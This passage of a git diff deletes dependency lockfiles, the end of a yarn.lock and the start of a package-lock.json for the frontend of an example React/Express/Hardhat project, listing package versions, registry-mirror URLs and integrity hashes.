-  resolved "https://registry.yarnpkg.com/tildify/-/tildify-2.0.0.tgz#f205f3674d677ce698b7067a99e949ce03b4754a"
-  integrity sha512-Cc+OraorugtXNfs50hU9KS369rFXCfgGLpfCfvlc+Ud5u6VWmUQsOAa9HbTvheQdYnrdJqqv1e5oIqXppMYnSw==
-
-toidentifier@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553"
-  integrity sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==
-
-tough-cookie@~2.5.0:
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/tough-cookie/-/tough-cookie-2.5.0.tgz#cd9fb2a0aa1d5a12b473bd9fb96fa3dcff65ade2"
-  integrity sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==
-  dependencies:
-    psl "^1.1.28"
-    punycode "^2.1.1"
-
-tunnel-agent@^0.6.0:
-  version "0.6.0"
-  resolved "https://registry.yarnpkg.com/tunnel-agent/-/tunnel-agent-0.6.0.tgz#27a5dea06b36b04a0a9966774b290868f0fc40fd"
-  integrity sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=
-  dependencies:
-    safe-buffer "^5.0.1"
-
-tweetnacl@^0.14.3, tweetnacl@~0.14.0:
-  version "0.14.5"
-  resolved "https://registry.yarnpkg.com/tweetnacl/-/tweetnacl-0.14.5.tgz#5ae68177f192d4456269d108afa93ff8743f4f64"
-  integrity sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=
-
-type-is@~1.6.17, type-is@~1.6.18:
-  version "1.6.18"
-  resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131"
-  integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==
-  dependencies:
-    media-typer "0.3.0"
-    mime-types "~2.1.24"
-
-unpipe@1.0.0, unpipe@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
-  integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=
-
-uri-js@^4.2.2:
-  version "4.4.1"
-  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
-  integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==
-  dependencies:
-    punycode "^2.1.0"
-
-util-deprecate@~1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
-  integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
-
-utils-merge@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713"
-  integrity sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=
-
-uuid@^3.3.2:
-  version "3.4.0"
-  resolved "https://registry.yarnpkg.com/uuid/-/uuid-3.4.0.tgz#b23e4358afa8a202fe7a100af1f5f883f02007ee"
-  integrity sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==
-
-vary@^1, vary@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc"
-  integrity sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=
-
-verror@1.10.0:
-  version "1.10.0"
-  resolved "https://registry.yarnpkg.com/verror/-/verror-1.10.0.tgz#3a105ca17053af55d6e270c1f8288682e18da400"
-  integrity sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=
-  dependencies:
-    assert-plus "^1.0.0"
-    core-util-is "1.0.2"
-    extsprintf "^1.2.0"
-
-which@1:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
-  integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
-  dependencies:
-    isexe "^2.0.0"
-
-wide-align@^1.1.0:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/wide-align/-/wide-align-1.1.3.tgz#ae074e6bdc0c14a431e804e624549c633b000457"
-  integrity sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==
-  dependencies:
-    string-width "^1.0.2 || 2"
-
-wrappy@1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
-  integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
-
-yallist@^3.0.0, yallist@^3.0.3:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
-  integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
diff --git a/Example11-react-express-hardhat/frontend/package-lock.json b/Example11-react-express-hardhat/frontend/package-lock.json
deleted file mode 100644
index 4babe0f71..000000000
--- a/Example11-react-express-hardhat/frontend/package-lock.json
+++ /dev/null
@@ -1,15612 +0,0 @@
-{
-  "name": "frontend",
-  "version": "0.1.0",
-  "lockfileVersion": 1,
-  "requires": true,
-  "dependencies": {
-    "@babel/code-frame": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/code-frame/download/@babel/code-frame-7.12.13.tgz",
-      "integrity": "sha1-3PyCa+72XnXFDiHTg319lXmN1lg=",
-      "requires": {
-        "@babel/highlight": "^7.12.13"
-      }
-    },
-    "@babel/compat-data": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/compat-data/download/@babel/compat-data-7.14.4.tgz?cache=0&sync_timestamp=1622221249104&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fcompat-data%2Fdownload%2F%40babel%2Fcompat-data-7.14.4.tgz",
-      "integrity": "sha1-RXIP4M7PP9QgGeHRLMPSf63JjVg="
-    },
-    "@babel/core": {
-      "version": "7.12.3",
-      "resolved": "https://registry.nlark.com/@babel/core/download/@babel/core-7.12.3.tgz",
-      "integrity": "sha1-G0NohOHjv/b7EyjcArIIdZ3pKtg=",
-      "requires": {
-        "@babel/code-frame": "^7.10.4",
-        "@babel/generator": "^7.12.1",
-        "@babel/helper-module-transforms": "^7.12.1",
-        "@babel/helpers": "^7.12.1",
-        "@babel/parser": "^7.12.3",
-        "@babel/template": "^7.10.4",
-        "@babel/traverse": "^7.12.1",
-        "@babel/types": "^7.12.1",
-        "convert-source-map": "^1.7.0",
-        "debug": "^4.1.0",
-        "gensync": "^1.0.0-beta.1",
-        "json5": "^2.1.2",
-        "lodash": "^4.17.19",
-        "resolve": "^1.3.2",
-        "semver": "^5.4.1",
-        "source-map": "^0.5.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.nlark.com/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz",
-          "integrity": "sha1-qVT5Ma66UI0we78Gnv8MAclhFvc="
-        },
-        "source-map": {
-          "version": "0.5.7",
-          "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.5.7.tgz",
-          "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w="
-        }
-      }
-    },
-    "@babel/generator": {
-      "version": "7.14.3",
-      "resolved": "https://registry.nlark.com/@babel/generator/download/@babel/generator-7.14.3.tgz",
-      "integrity": "sha1-DCZS2R973at8zMa6gVfk9A3O25E=",
-      "requires": {
-        "@babel/types": "^7.14.2",
-        "jsesc": "^2.5.1",
-        "source-map": "^0.5.0"
-      },
-      "dependencies": {
-        "source-map": {
-          "version": "0.5.7",
-          "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.5.7.tgz",
-          "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w="
-        }
-      }
-    },
-    "@babel/helper-annotate-as-pure": {
-      "version": "7.12.13",
-      "resolved": "https://registry.nlark.com/@babel/helper-annotate-as-pure/download/@babel/helper-annotate-as-pure-7.12.13.tgz",
-      "integrity": "sha1-D1jobfxLs7H819uAZXDhd9Q5tqs=",
-      "requires": {
-        "@babel/types": "^7.12.13"
-      }
-    },
-    "@babel/helper-builder-binary-assignment-operator-visitor": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-builder-binary-assignment-operator-visitor/download/@babel/helper-builder-binary-assignment-operator-visitor-7.12.13.tgz?cache=0&sync_timestamp=1612314819975&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-builder-binary-assignment-operator-visitor%2Fdownload%2F%40babel%2Fhelper-builder-binary-assignment-operator-visitor-7.12.13.tgz",
-      "integrity": "sha1-a8IDYciLCnTQUTemXKyNPL9vYfw=",
-      "requires": {
-        "@babel/helper-explode-assignable-expression": "^7.12.13",
-        "@babel/types": "^7.12.13"
-      }
-    },
-    "@babel/helper-compilation-targets": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/helper-compilation-targets/download/@babel/helper-compilation-targets-7.14.4.tgz?cache=0&sync_timestamp=1622221254097&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-compilation-targets%2Fdownload%2F%40babel%2Fhelper-compilation-targets-7.14.4.tgz",
-      "integrity": "sha1-M+vQ/8NCSAUe4giTUKkpqwLypRY=",
-      "requires": {
-        "@babel/compat-data": "^7.14.4",
-        "@babel/helper-validator-option": "^7.12.17",
-        "browserslist": "^4.16.6",
-        "semver": "^6.3.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "6.3.0",
-          "resolved": "https://registry.nlark.com/semver/download/semver-6.3.0.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-6.3.0.tgz",
-          "integrity": "sha1-7gpkyK9ejO6mdoexM3YeG+y9HT0="
-        }
-      }
-    },
-    "@babel/helper-create-class-features-plugin": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/helper-create-class-features-plugin/download/@babel/helper-create-class-features-plugin-7.14.4.tgz",
-      "integrity": "sha1-q/iI2DakQavueDx1IpJ5dIcF3EI=",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.12.13",
-        "@babel/helper-function-name": "^7.14.2",
-        "@babel/helper-member-expression-to-functions": "^7.13.12",
-        "@babel/helper-optimise-call-expression": "^7.12.13",
-        "@babel/helper-replace-supers": "^7.14.4",
-        "@babel/helper-split-export-declaration": "^7.12.13"
-      }
-    },
-    "@babel/helper-create-regexp-features-plugin": {
-      "version": "7.14.3",
-      "resolved": "https://registry.nlark.com/@babel/helper-create-regexp-features-plugin/download/@babel/helper-create-regexp-features-plugin-7.14.3.tgz?cache=0&sync_timestamp=1621285499019&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-create-regexp-features-plugin%2Fdownload%2F%40babel%2Fhelper-create-regexp-features-plugin-7.14.3.tgz",
-      "integrity": "sha1-FJqm14wBbjGMQ+JAmgrpwTaoZog=",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.12.13",
-        "regexpu-core": "^4.7.1"
-      }
-    },
-    "@babel/helper-define-polyfill-provider": {
-      "version": "0.2.3",
-      "resolved": "https://registry.nlark.com/@babel/helper-define-polyfill-provider/download/@babel/helper-define-polyfill-provider-0.2.3.tgz?cache=0&sync_timestamp=1622025400731&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-define-polyfill-provider%2Fdownload%2F%40babel%2Fhelper-define-polyfill-provider-0.2.3.tgz",
-      "integrity": "sha1-BSXt7FCUZTooJojTTYRuTHXpwLY=",
-      "requires": {
-        "@babel/helper-compilation-targets": "^7.13.0",
-        "@babel/helper-module-imports": "^7.12.13",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/traverse": "^7.13.0",
-        "debug": "^4.1.1",
-        "lodash.debounce": "^4.0.8",
-        "resolve": "^1.14.2",
-        "semver": "^6.1.2"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "6.3.0",
-          "resolved": "https://registry.nlark.com/semver/download/semver-6.3.0.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-6.3.0.tgz",
-          "integrity": "sha1-7gpkyK9ejO6mdoexM3YeG+y9HT0="
-        }
-      }
-    },
-    "@babel/helper-explode-assignable-expression": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-explode-assignable-expression/download/@babel/helper-explode-assignable-expression-7.13.0.tgz",
-      "integrity": "sha1-F7XFn/Rz2flW9A71cM86dsoSZX8=",
-      "requires": {
-        "@babel/types": "^7.13.0"
-      }
-    },
-    "@babel/helper-function-name": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/helper-function-name/download/@babel/helper-function-name-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-function-name%2Fdownload%2F%40babel%2Fhelper-function-name-7.14.2.tgz",
-      "integrity": "sha1-OXaItZB2C273cltfCGDIJCfrqsI=",
-      "requires": {
-        "@babel/helper-get-function-arity": "^7.12.13",
-        "@babel/template": "^7.12.13",
-        "@babel/types": "^7.14.2"
-      }
-    },
-    "@babel/helper-get-function-arity": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-get-function-arity/download/@babel/helper-get-function-arity-7.12.13.tgz",
-      "integrity": "sha1-vGNFHUA6OzCCuX4diz/lvUCR5YM=",
-      "requires": {
-        "@babel/types": "^7.12.13"
-      }
-    },
-    "@babel/helper-hoist-variables": {
-      "version": "7.13.16",
-      "resolved": "https://registry.nlark.com/@babel/helper-hoist-variables/download/@babel/helper-hoist-variables-7.13.16.tgz?cache=0&sync_timestamp=1618917766328&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-hoist-variables%2Fdownload%2F%40babel%2Fhelper-hoist-variables-7.13.16.tgz",
-      "integrity": "sha1-GxZRJJ6UtR+PDTNDmEPjPjl3WzA=",
-      "requires": {
-        "@babel/traverse": "^7.13.15",
-        "@babel/types": "^7.13.16"
-      }
-    },
-    "@babel/helper-member-expression-to-functions": {
-      "version": "7.13.12",
-      "resolved": "https://registry.nlark.com/@babel/helper-member-expression-to-functions/download/@babel/helper-member-expression-to-functions-7.13.12.tgz",
-      "integrity": "sha1-3+No8m1CagcpnY1lE4IXaCFubXI=",
-      "requires": {
-        "@babel/types": "^7.13.12"
-      }
-    },
-    "@babel/helper-module-imports": {
-      "version": "7.13.12",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-module-imports/download/@babel/helper-module-imports-7.13.12.tgz",
-      "integrity": "sha1-xqNppvNiHLJdoBQHhoTakZa2GXc=",
-      "requires": {
-        "@babel/types": "^7.13.12"
-      }
-    },
-    "@babel/helper-module-transforms": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/helper-module-transforms/download/@babel/helper-module-transforms-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-module-transforms%2Fdownload%2F%40babel%2Fhelper-module-transforms-7.14.2.tgz",
-      "integrity": "sha1-rBzDDuR7lF4+DE2xL6DFOJUJ3+U=",
-      "requires": {
-        "@babel/helper-module-imports": "^7.13.12",
-        "@babel/helper-replace-supers": "^7.13.12",
-        "@babel/helper-simple-access": "^7.13.12",
-        "@babel/helper-split-export-declaration": "^7.12.13",
-        "@babel/helper-validator-identifier": "^7.14.0",
-        "@babel/template": "^7.12.13",
-        "@babel/traverse": "^7.14.2",
-        "@babel/types": "^7.14.2"
-      }
-    },
-    "@babel/helper-optimise-call-expression": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-optimise-call-expression/download/@babel/helper-optimise-call-expression-7.12.13.tgz?cache=0&sync_timestamp=1612314687212&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-optimise-call-expression%2Fdownload%2F%40babel%2Fhelper-optimise-call-expression-7.12.13.tgz",
-      "integrity": "sha1-XALRcbTIYVsecWP4iMHIHDCiquo=",
-      "requires": {
-        "@babel/types": "^7.12.13"
-      }
-    },
-    "@babel/helper-plugin-utils": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-plugin-utils/download/@babel/helper-plugin-utils-7.13.0.tgz?cache=0&sync_timestamp=1614034264835&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-plugin-utils%2Fdownload%2F%40babel%2Fhelper-plugin-utils-7.13.0.tgz",
-      "integrity": "sha1-gGUmzhJa7QM3O8QWqCgyHjpqM68="
-    },
-    "@babel/helper-remap-async-to-generator": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-remap-async-to-generator/download/@babel/helper-remap-async-to-generator-7.13.0.tgz?cache=0&sync_timestamp=1614034243906&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-remap-async-to-generator%2Fdownload%2F%40babel%2Fhelper-remap-async-to-generator-7.13.0.tgz",
-      "integrity": "sha1-N2p2DZ97SyB3qd0Fqpw5J8rbIgk=",
-      "requires": {
-        "@babel/helper-annotate-as-pure": "^7.12.13",
-        "@babel/helper-wrap-function": "^7.13.0",
-        "@babel/types": "^7.13.0"
-      }
-    },
-    "@babel/helper-replace-supers": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/helper-replace-supers/download/@babel/helper-replace-supers-7.14.4.tgz?cache=0&sync_timestamp=1622221254092&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-replace-supers%2Fdownload%2F%40babel%2Fhelper-replace-supers-7.14.4.tgz",
-      "integrity": "sha1-sqsWh13uz/89381Tm8MV9ymY2DY=",
-      "requires": {
-        "@babel/helper-member-expression-to-functions": "^7.13.12",
-        "@babel/helper-optimise-call-expression": "^7.12.13",
-        "@babel/traverse": "^7.14.2",
-        "@babel/types": "^7.14.4"
-      }
-    },
-    "@babel/helper-simple-access": {
-      "version": "7.13.12",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-simple-access/download/@babel/helper-simple-access-7.13.12.tgz?cache=0&sync_timestamp=1616428070267&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-simple-access%2Fdownload%2F%40babel%2Fhelper-simple-access-7.13.12.tgz",
-      "integrity": "sha1-3WxTivthgZ0gWgEsMXkqOcel6vY=",
-      "requires": {
-        "@babel/types": "^7.13.12"
-      }
-    },
-    "@babel/helper-skip-transparent-expression-wrappers": {
-      "version": "7.12.1",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-skip-transparent-expression-wrappers/download/@babel/helper-skip-transparent-expression-wrappers-7.12.1.tgz",
-      "integrity": "sha1-Ri3GOn5DWt6EaDhcY9K4TM5LPL8=",
-      "requires": {
-        "@babel/types": "^7.12.1"
-      }
-    },
-    "@babel/helper-split-export-declaration": {
-      "version": "7.12.13",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-split-export-declaration/download/@babel/helper-split-export-declaration-7.12.13.tgz",
-      "integrity": "sha1-6UML4AuvPoiw4T5vnU6vITY3KwU=",
-      "requires": {
-        "@babel/types": "^7.12.13"
-      }
-    },
-    "@babel/helper-validator-identifier": {
-      "version": "7.14.0",
-      "resolved": "https://registry.nlark.com/@babel/helper-validator-identifier/download/@babel/helper-validator-identifier-7.14.0.tgz?cache=0&sync_timestamp=1619727430134&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-validator-identifier%2Fdownload%2F%40babel%2Fhelper-validator-identifier-7.14.0.tgz",
-      "integrity": "sha1-0mytikfGUoaxXfFUcxml0Lzycog="
-    },
-    "@babel/helper-validator-option": {
-      "version": "7.12.17",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-validator-option/download/@babel/helper-validator-option-7.12.17.tgz",
-      "integrity": "sha1-0fvwEuGnm37rv9xtJwuq+NnrmDE="
-    },
-    "@babel/helper-wrap-function": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/helper-wrap-function/download/@babel/helper-wrap-function-7.13.0.tgz?cache=0&sync_timestamp=1614034242975&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-wrap-function%2Fdownload%2F%40babel%2Fhelper-wrap-function-7.13.0.tgz",
-      "integrity": "sha1-vbXGb9qFJuwjWriUrVOhI1x5/MQ=",
-      "requires": {
-        "@babel/helper-function-name": "^7.12.13",
-        "@babel/template": "^7.12.13",
-        "@babel/traverse": "^7.13.0",
-        "@babel/types": "^7.13.0"
-      }
-    },
-    "@babel/helpers": {
-      "version": "7.14.0",
-      "resolved": "https://registry.nlark.com/@babel/helpers/download/@babel/helpers-7.14.0.tgz?cache=0&sync_timestamp=1619727432208&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelpers%2Fdownload%2F%40babel%2Fhelpers-7.14.0.tgz",
-      "integrity": "sha1-6ptr6UeKE9b5Ydu182v3Xi87j2I=",
-      "requires": {
-        "@babel/template": "^7.12.13",
-        "@babel/traverse": "^7.14.0",
-        "@babel/types": "^7.14.0"
-      }
-    },
-    "@babel/highlight": {
-      "version": "7.14.0",
-      "resolved": "https://registry.nlark.com/@babel/highlight/download/@babel/highlight-7.14.0.tgz?cache=0&sync_timestamp=1619727045820&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhighlight%2Fdownload%2F%40babel%2Fhighlight-7.14.0.tgz",
-      "integrity": "sha1-MZfjdXEe9r+DTmfQ2uyI5PRhE88=",
-      "requires": {
-        "@babel/helper-validator-identifier": "^7.14.0",
-        "chalk": "^2.0.0",
-        "js-tokens": "^4.0.0"
-      },
-      "dependencies": {
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.nlark.com/ansi-styles/download/ansi-styles-3.2.1.tgz",
-          "integrity": "sha1-QfuyAkPlCxK+DwS43tvwdSDOhB0=",
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "chalk": {
-          "version": "2.4.2",
-          "resolved": "https://registry.nlark.com/chalk/download/chalk-2.4.2.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-2.4.2.tgz",
-          "integrity": "sha1-zUJUFnelQzPPVBpJEIwUMrRMlCQ=",
-          "requires": {
-            "ansi-styles": "^3.2.1",
-            "escape-string-regexp": "^1.0.5",
-            "supports-color": "^5.3.0"
-          }
-        },
-        "escape-string-regexp": {
-          "version": "1.0.5",
-          "resolved": "https://registry.npm.taobao.org/escape-string-regexp/download/escape-string-regexp-1.0.5.tgz?cache=0&sync_timestamp=1618677309735&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescape-string-regexp%2Fdownload%2Fescape-string-regexp-1.0.5.tgz",
-          "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ="
-        },
-        "supports-color": {
-          "version": "5.5.0",
-          "resolved": "https://registry.nlark.com/supports-color/download/supports-color-5.5.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-5.5.0.tgz",
-          "integrity": "sha1-4uaaRKyHcveKHsCzW2id9lMO/I8=",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        }
-      }
-    },
-    "@babel/parser": {
-      "version": "7.14.4",
-      "resolved": "https://registry.nlark.com/@babel/parser/download/@babel/parser-7.14.4.tgz",
-      "integrity": "sha1-pcVg1tts2ObtNCNo3qgDkjLLqxg="
-    },
-    "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": {
-      "version": "7.13.12",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/download/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.13.12.tgz?cache=0&sync_timestamp=1616428052933&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-bugfix-v8-spread-parameters-in-optional-chaining%2Fdownload%2F%40babel%2Fplugin-bugfix-v8-spread-parameters-in-optional-chaining-7.13.12.tgz",
-      "integrity": "sha1-o0hNhNC1SfP8kWuZ7keD8m+rrSo=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1",
-        "@babel/plugin-proposal-optional-chaining": "^7.13.12"
-      }
-    },
-    "@babel/plugin-proposal-async-generator-functions": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-async-generator-functions/download/@babel/plugin-proposal-async-generator-functions-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-async-generator-functions%2Fdownload%2F%40babel%2Fplugin-proposal-async-generator-functions-7.14.2.tgz",
-      "integrity": "sha1-OiCFq79dX5YtSA28gTRzhe1i6x4=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/helper-remap-async-to-generator": "^7.13.0",
-        "@babel/plugin-syntax-async-generators": "^7.8.4"
-      }
-    },
-    "@babel/plugin-proposal-class-properties": {
-      "version": "7.13.0",
-      "resolved": "https://registry.npm.taobao.org/@babel/plugin-proposal-class-properties/download/@babel/plugin-proposal-class-properties-7.13.0.tgz?cache=0&sync_timestamp=1617731968640&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-proposal-class-properties%2Fdownload%2F%40babel%2Fplugin-proposal-class-properties-7.13.0.tgz",
-      "integrity": "sha1-FGN2AAuU79AB5XpAqIpSWvqrnzc=",
-      "requires": {
-        "@babel/helper-create-class-features-plugin": "^7.13.0",
-        "@babel/helper-plugin-utils": "^7.13.0"
-      }
-    },
-    "@babel/plugin-proposal-class-static-block": {
-      "version": "7.14.3",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-class-static-block/download/@babel/plugin-proposal-class-static-block-7.14.3.tgz?cache=0&sync_timestamp=1621285504385&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-class-static-block%2Fdownload%2F%40babel%2Fplugin-proposal-class-static-block-7.14.3.tgz",
-      "integrity": "sha1-WlJ+LK5KR1MRnDo+f2TsrozPE2A=",
-      "requires": {
-        "@babel/helper-create-class-features-plugin": "^7.14.3",
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-class-static-block": "^7.12.13"
-      }
-    },
-    "@babel/plugin-proposal-decorators": {
-      "version": "7.12.1",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-decorators/download/@babel/plugin-proposal-decorators-7.12.1.tgz?cache=0&sync_timestamp=1620840050927&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-decorators%2Fdownload%2F%40babel%2Fplugin-proposal-decorators-7.12.1.tgz",
-      "integrity": "sha1-WScUOf7UFFRWxBBnRQVDruMy0V8=",
-      "requires": {
-        "@babel/helper-create-class-features-plugin": "^7.12.1",
-        "@babel/helper-plugin-utils": "^7.10.4",
-        "@babel/plugin-syntax-decorators": "^7.12.1"
-      }
-    },
-    "@babel/plugin-proposal-dynamic-import": {
-      "version": "7.14.2",
-      "resolved": "https://registry.nlark.com/@babel/plugin-proposal-dynamic-import/download/@babel/plugin-proposal-dynamic-import-7.14.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-dynamic-import%2Fdownload%2F%40babel%2Fplugin-proposal-dynamic-import-7.14.2.tgz",
-      "integrity": "sha1-Aeur18OBz/Ix+kPjApOaneW+nZ8=",
-      "requires": {
-        "@babel/helper-plugin-utils": "^7.13.0",
-        "@babel/plugin-syntax-dynamic-import": "^7.8.3"
-      }
-    },
-    "@babel/plugin-proposal-export-namespace-from": {
-      "version": "7.14.2",
